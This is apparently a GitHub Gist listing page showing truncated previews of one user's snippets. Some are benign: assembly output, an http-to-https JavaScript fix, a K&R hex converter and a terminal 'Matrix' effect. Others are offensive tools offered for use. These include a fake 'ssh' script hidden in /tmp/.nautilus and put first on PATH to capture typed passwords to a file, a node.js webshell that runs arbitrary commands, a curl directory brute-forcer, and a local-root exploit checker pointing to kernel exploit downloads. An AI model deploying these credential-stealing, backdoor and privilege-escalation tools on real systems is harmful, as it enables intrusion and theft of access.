Skip to content

Instantly share code, notes, and snippets.

@khakimov
khakimov / -fno-stack-protector.c
Created December 3, 2012 21:35
stack_protection
0x0000000100000eb0 <test_function+0>: push %rbp
0x0000000100000eb1 <test_function+1>: mov %rsp,%rbp
0x0000000100000eb4 <test_function+4>: mov %edi,-0x4(%rbp)
0x0000000100000eb7 <test_function+7>: mov %esi,-0x8(%rbp)
0x0000000100000eba <test_function+10>: mov %edx,-0xc(%rbp)
0x0000000100000ebd <test_function+13>: mov %ecx,-0x10(%rbp)
0x0000000100000ec0 <test_function+16>: movl $0xb,-0x20(%rbp)
0x0000000100000ec7 <test_function+23>: movb $0x41,-0x1a(%rbp)
0x0000000100000ecb <test_function+27>: pop %rbp
0x0000000100000ecc <test_function+28>: retq
@khakimov
khakimov / gist:4274609
Created December 13, 2012 06:50
http to https
if (document.location.protocol === 'https:') {
// http to https for <link>
var links = document.getElementsByTagName('link');
for(i = 0; i < links.length; i++)
{
if(links[i].href.indexOf('http:') > -1) {
link = links[i].href.replace('http:', 'https:');
links[i].href = link;
@khakimov
khakimov / dirscan.sh
Last active December 11, 2015 01:49
alex, alex we got in! so what next? If you’re working with a scope that limits tools you can install or just want to scan something very fast without install anything - just use this script with dir list such as http://zaproxy.googlecode.com/svn/trunk/src/dirbuster/directory-list-2.3-medium.txt
#!/bin/sh
# echo "usage: $0 dirlist target.com"
# can use with https - just use curl -k ...
for i in $(cat $1)
do
echo "dir: $i \tcount: " `curl $2/$i 2>/dev/null | wc -l`
done
# so, just run it
@khakimov
khakimov / ssh
Created January 14, 2013 19:10
script kiddos
#/bin/sh
# add to .bashrc or .profile
# export PATH=/tmp/.nautilus:$PATH
# chmod +x /tmp/.nautilus/ssh
echo "root@10.1.1.1's password: "
stty -echo
read input_variable
stty echo
echo "$input_variable" > /tmp/.nautilus/pass
@khakimov
khakimov / priv_local.py
Created February 1, 2013 02:09
local root? w00t-w00t
import subprocess
def exploitCheck():
# Shout out to Bernardo Damele for letting me use this code! Thanks again!
# Check out his blog at http://bernardodamele.blogspot.com
exploitdb_url = "http://www.exploit-db.com/exploits"
enlightenment_url = "http://www.grsecurity.net/~spender/enlightenment.tgz"
print "[+] Results for local kernel version %s" % kernel
#!/bin/bash
for n in {1..5}
do
out=$(( $n % 2 ))
if [ $out -eq 0 ]
then
printf "1\r"
else
printf "0\r"
fi
@khakimov
khakimov / gist:9aee5f3914b98e06350d
Created January 20, 2016 07:43
git the hard way
# mkdir -p logs/refs/heads
# mkdir -p refs/remotes/origin
# mkdir -p refs/heads
# mkdir -p info
files=(
"HEAD"
"objects/info/packs"
"description"
"config"
@khakimov
khakimov / gist:3329057
Created August 12, 2012 02:18
decimal to hexadecimal
/*
Exercise 3-4 K&R.
To convert a decimal number x to hexadecimal, we can repeatedly divide x by 16,
giving a quotient q and a remainder r, such that x = q * 16 + r.
*/
#include <stdio.h>
@khakimov
khakimov / gist:5130151
Created March 10, 2013 19:53
node.js command webshell
var sys = require('sys'),
exec = require('child_process').exec,
child,
http = require('http');
child = function(res, cmd) {
exec(cmd,
function (error, stdout, stderr) {
res.end(stdout);
if (error !== null) {
@khakimov
khakimov / gist:3558086
Created August 31, 2012 19:49
Matrix Effect in you terminal
echo -e "\e[1;40m" ; clear ; while :; do echo $LINES $COLUMNS $(( $RANDOM % $COLUMNS)) $(( $RANDOM % 72 )) ;sleep 0.05; done|awk '{ letters="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@#$%^&*()"; c=$4; letter=substr(letters,c,1);a[$3]=0;for (x in a) {o=a[x];a[x]=a[x]+1; printf "\033[%s;%sH\033[2;32m%s",o,x,letter; printf "\033[%s;%sH\033[1;37m%s\033[0;0H",a[x],x,letter;if (a[x] >= $1) { a[x]=0; } }}'